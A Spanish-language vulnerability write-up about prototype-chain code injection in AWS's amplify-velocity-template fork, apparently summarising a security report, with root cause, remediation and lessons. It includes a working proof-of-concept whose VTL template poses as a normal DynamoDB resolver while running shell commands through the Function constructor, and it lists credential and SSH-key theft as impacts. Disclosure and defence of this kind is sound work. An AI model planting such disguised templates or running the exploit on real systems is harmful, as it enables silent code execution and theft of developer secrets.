Resumen
El paquete npm amplify-velocity-template, publicado por Amazon, es un fork de velocityjs que usa @aws-amplify/amplify-appsync-simulator para renderizar plantillas de resolución VTL cuando se ejecuta amplify mock api. El problema es que ese fork nunca incorporó las protecciones de la cadena de prototipos que la librería original sí añadió.
La resolución de propiedades de objetos se hace con un acceso directo baseRef[id], sin ningún filtro. Cualquiera que controle un fichero .vtl puede recorrer la cadena de prototipos hasta llegar al constructor Function y, desde ahí, ejecutar comandos arbitrarios del sistema operativo con los privilegios de quien corre la herramienta.
El reporte está clasificado como Code Injection y severidad high. Afecta a amplify-velocity-template 1.4.17, @aws-amplify/amplify-appsync-simulator 2.16.20 y, por dependencia, a @aws-amplify/cli.
Causa raíz
El fichero amplify-velocity-template/src/compile/references.js resuelve las propiedades sin ninguna comprobación:
} else if (type === 'property') {
ret = baseRef[id]; // sin guarda: resuelve constructor, __proto__, etc.
}
Como no se filtra nada, también quedan accesibles las propiedades heredadas. Eso permite encadenar {}.toString().constructor.constructor, que desemboca directamente en el constructor Function. El velocityjs original añadió una lista de denegación de la cadena de prototipos en su versión 2.1.6; el fork de AWS no la trajo de vuelta.
Pasos de reproducción
En cualquier máquina con Node.js instalado, se prepara un proyecto con las versiones afectadas:
mkdir vtl-rce && cd vtl-rce && npm init -y
npm install [email protected] @aws-amplify/[email protected]
Se crea un fichero poc.js que reproduce la misma ruta de código que sigue amplify mock api: la plantilla VTL aparenta ser un mapeo normal de GetItem de DynamoDB, pero esconde la carga útil dentro de una asignación #set.
const { VelocityTemplate } = require('@aws-amplify/amplify-appsync-simulator');
const fs = require('fs');
// Plantilla VTL maliciosa -- parece un mapeo GetItem normal de DynamoDB
const VTL = [
'## AppSync Request Mapping -- Query.getUser',
'#set($userId = $context.arguments.id)',
'#set($x = {})',
'#set($log = $x.toString().constructor.constructor.call($x,',
' "var cp = process.mainModule.require(\'child_process\');',
' var r = cp.execSync(\'id && hostname && uname -a\').toString();',
' process.mainModule.require(\'fs\').writeFileSync(\'/tmp/amplify-rce-proof\', r);',
' return r"',
').call($x))',
'{',
' "version": "2017-02-28",',
' "operation": "GetItem",',
' "key": { "id": { "S": "$userId" } }',
'}',
].join('\n');
try { fs.unlinkSync('/tmp/amplify-rce-proof'); } catch {}
// Misma ruta que AmplifyAppSyncSimulator.init() -> new VelocityTemplate(content)
var vtl = new VelocityTemplate(
{ content: VTL, path: 'resolvers/Query.getUser.req.vtl' },
{ appSyncConfig: { defaultAuthenticationType: { authenticationType: 'API_KEY' } } },
);
// Construye un nodo AST de GraphQL con el propio módulo del simulador
var graphql = require(require.resolve('graphql', {
paths: [require.resolve('@aws-amplify/amplify-appsync-simulator')],
}));
var doc = graphql.parse('{ getUser(id: "user-123") { id name } }');
var fieldNode = doc.definitions[0].selectionSet.selections[0];
// Misma llamada que AppSyncUnitResolver.resolve() -> requestTemplate.render()
console.log('[1] Rendering VTL template...');
var result = vtl.render(
{ arguments: { id: 'user-123' }, source: {}, stash: {}, result: null },
{ requestAuthorizationMode: 'API_KEY', headers: {}, sourceIp: '127.0.0.1' },
{ fieldName: 'getUser', fieldNodes: [fieldNode], parentType: 'Query', variableValues: {}, fragments: {} },
);
console.log('[2] Resolver output:', JSON.stringify(result.result));
if (fs.existsSync('/tmp/amplify-rce-proof')) {
console.log('[3] RCE CONFIRMED -- /tmp/amplify-rce-proof contents:');
console.log(fs.readFileSync('/tmp/amplify-rce-proof', 'utf8'));
fs.unlinkSync('/tmp/amplify-rce-proof');
}
Se ejecuta con:
node poc.js
El resolver devuelve un JSON de DynamoDB perfectamente válido y no se registra ningún error, pero los comandos id, hostname y uname -a se han ejecutado en silencio y han escrito su salida en /tmp/amplify-rce-proof:
[1] Rendering VTL template...
[2] Resolver output: {"version":"2017-02-28","operation":"GetItem","key":{"id":{"S":"user-123"}}}
[3] RCE CONFIRMED -- /tmp/amplify-rce-proof contents:
[REDACTADO] gid=20(staff) groups=20(staff),12(everyone)...
[REDACTADO]
Darwin [REDACTADO] 25.5.0 Darwin Kernel Version 25.5.0 ... arm64
El escenario de ataque realista que describe el reporte es: un atacante coloca el .vtl malicioso en un proyecto Amplify (vía pull request, fork o push directo); un desarrollador clona el repositorio y ejecuta amplify mock api; cualquier consulta GraphQL dispara el renderizado de la plantilla, y la carga útil corre con los privilegios del desarrollador. Como la plantilla parece un resolver de AppSync normal y sigue devolviendo JSON correcto, no hay señales de que algo vaya mal.
Impacto
Se trata de ejecución remota de código en la máquina del desarrollador (o del runner de CI). El reporte detalla qué puede conseguir el atacante con esa ejecución:
- Robo de credenciales de AWS: quien usa Amplify casi siempre tiene credenciales configuradas en
~/.aws/credentialso en variables de entorno; robarlas da acceso a su cuenta de AWS. - Robo de claves SSH:
~/.ssh/id_rsaabre el acceso a sus repositorios de GitHub/GitLab y a cualquier infraestructura accesible por SSH. - **Robo de tokens de npm**: con
~/.npmrcse pueden publicar paquetes maliciosos bajo la cuenta npm de la víctima (escalada a ataque de cadena de suministro). - Puerta trasera persistente:
fs.writeFileSyncpermite dejar una shell inversa, una tarea cron o un perfil de shell modificado. - Compromiso de CI/CD: si
amplify mock apise ejecuta en integración continua, el atacante obtiene las credenciales de CI y puede saltar a producción.
Remediación
La recomendación del reporte es incorporar al fork la protección prototype-guard.ts del velocityjs original (versión 2.1.6), o bien sustituir la resolución de propiedades de references.js (getAttributes, getPropMethod, getPropIndex) por una lista de permitidos. En concreto: resolver una propiedad solo cuando Object.prototype.hasOwnProperty.call(baseRef, key) sea cierto, o cuando la clave figure en una lista explícita de métodos integrados seguros.
Qué aprender de este caso
- Cuando mantengas un fork de una librería, revisa qué parches de seguridad ha publicado el proyecto original después de la bifurcación: aquí el fallo es exactamente la guarda de prototipos que
velocityjsañadió en la 2.1.6 y que el fork de AWS nunca trajo. Ungit logcomparando ambos árboles habría destapado la diferencia. - Cualquier
baseRef[id]dondeidproceda de entrada externa es sospechoso: si no se filtra,constructor,__proto__yconstructor.constructorabren el camino al constructorFunctiony, con él, a ejecutar código. Al resolver propiedades dinámicas, usaObject.prototype.hasOwnProperty.call()o una lista de permitidos en vez del acceso directo con corchetes. - Los ficheros de plantilla (
.vtl, y en general cualquier plantilla de un motor de terceros) son entrada ejecutable, no datos inertes: trátalos como código no confiable cuando entren por un pull request o un fork, y desconfía de herramientas de desarrollo local comoamplify mock apique renderizan contenido del repositorio con los permisos de tu usuario.